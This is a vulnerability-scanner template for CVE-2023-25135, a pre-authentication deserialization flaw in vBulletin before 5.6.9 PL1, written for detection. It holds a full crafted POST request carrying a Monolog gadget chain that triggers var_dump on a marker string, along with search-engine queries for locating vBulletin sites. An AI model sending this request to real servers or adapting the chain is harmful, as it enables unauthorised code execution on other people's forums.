id: CVE-2023-25135 info: name: vBulletin <= 5.6.9 - Pre-authentication Remote Code Execution author: iamnoooob,rootxharsh,pdresearch severity: critical description: | vBulletin before 5.6.9 PL1 allows an unauthenticated remote attacker to execute arbitrary code via a crafted HTTP request that triggers deserialization. This occurs because verify_serialized checks that a value is serialized by calling unserialize and then checking for errors. remediation: Upgrade to the latest version to mitigate this vulnerability. reference: - https://www.ambionics.io/blog/vbulletin-unserializable-but-unreachable - https://github.com/ambionics/vbulletin-exploits/blob/main/vbulletin-rce-cve-2023-25135.py - https://nvd.nist.gov/vuln/detail/CVE-2023-25135 - https://forum.vbulletin.com/forum/vbulletin-announcements/vbulletin-announcements_aa/4473890-vbulletin-5-6-9-security-patch classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2023-25135 cwe-id: CWE-502 epss-score: 0.61297 epss-percentile: 0.97447 cpe: cpe:2.3:a:vbulletin:vbulletin:5.6.7:-:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: vbulletin product: vbulletin shodan-query: http.component:"vBulletin" google-query: intext:"Powered By vBulletin" tags: cve,cve2023,vbulletin,rce,kev http: - raw: - | POST /ajax/api/user/save HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded adminoptions=&options=&password={{randstr}}&securitytoken={{randstr}}&user%5Bemail%5D=pown%40pown.net&user%5Bpassword%5D=password&user%5Bsearchprefs%5D=a%3a2%3a{i%3a0%3bO%3a27%3a"googlelogin_vendor_autoload"%3a0%3a{}i%3a1%3bO%3a32%3a"Monolog\Handler\SyslogUdpHandler"%3a1%3a{s%3a9%3a"%00*%00socket"%3bO%3a29%3a"Monolog\Handler\BufferHandler"%3a7%3a{s%3a10%3a"%00*%00handler"%3br%3a4%3bs%3a13%3a"%00*%00bufferSize"%3bi%3a-1%3bs%3a9%3a"%00*%00buffer"%3ba%3a1%3a{i%3a0%3ba%3a2%3a{i%3a0%3bs%3a14%3a"CVE-2023-25135"%3bs%3a5%3a"level"%3bN%3b}}s%3a8%3a"%00*%00level"%3bN%3bs%3a14%3a"%00*%00initialized"%3bb%3a1%3bs%3a14%3a"%00*%00bufferLimit"%3bi%3a-1%3bs%3a13%3a"%00*%00processors"%3ba%3a2%3a{i%3a0%3bs%3a7%3a"current"%3bi%3a1%3bs%3a8%3a"var_dump"%3b}}}}&user%5Busername%5D={{randstr}}&userfield=&userid=0 matchers-condition: and matchers: - type: word part: body words: - 'string(14)' - '"CVE-2023-25135"' condition: and - type: word part: header words: - "application/json" - type: status status: - 200 # digest: 4a0a00473045022100bd7454edad4bee8c61f55797bff74d94ab6bdc82e469393717cc01d28ef6a30a02205ba9268afc81b57355244eedf6c0de03227deed912c5fb33ba932989d7b6cf9b:922c64590222798bb761d5b6d8e72950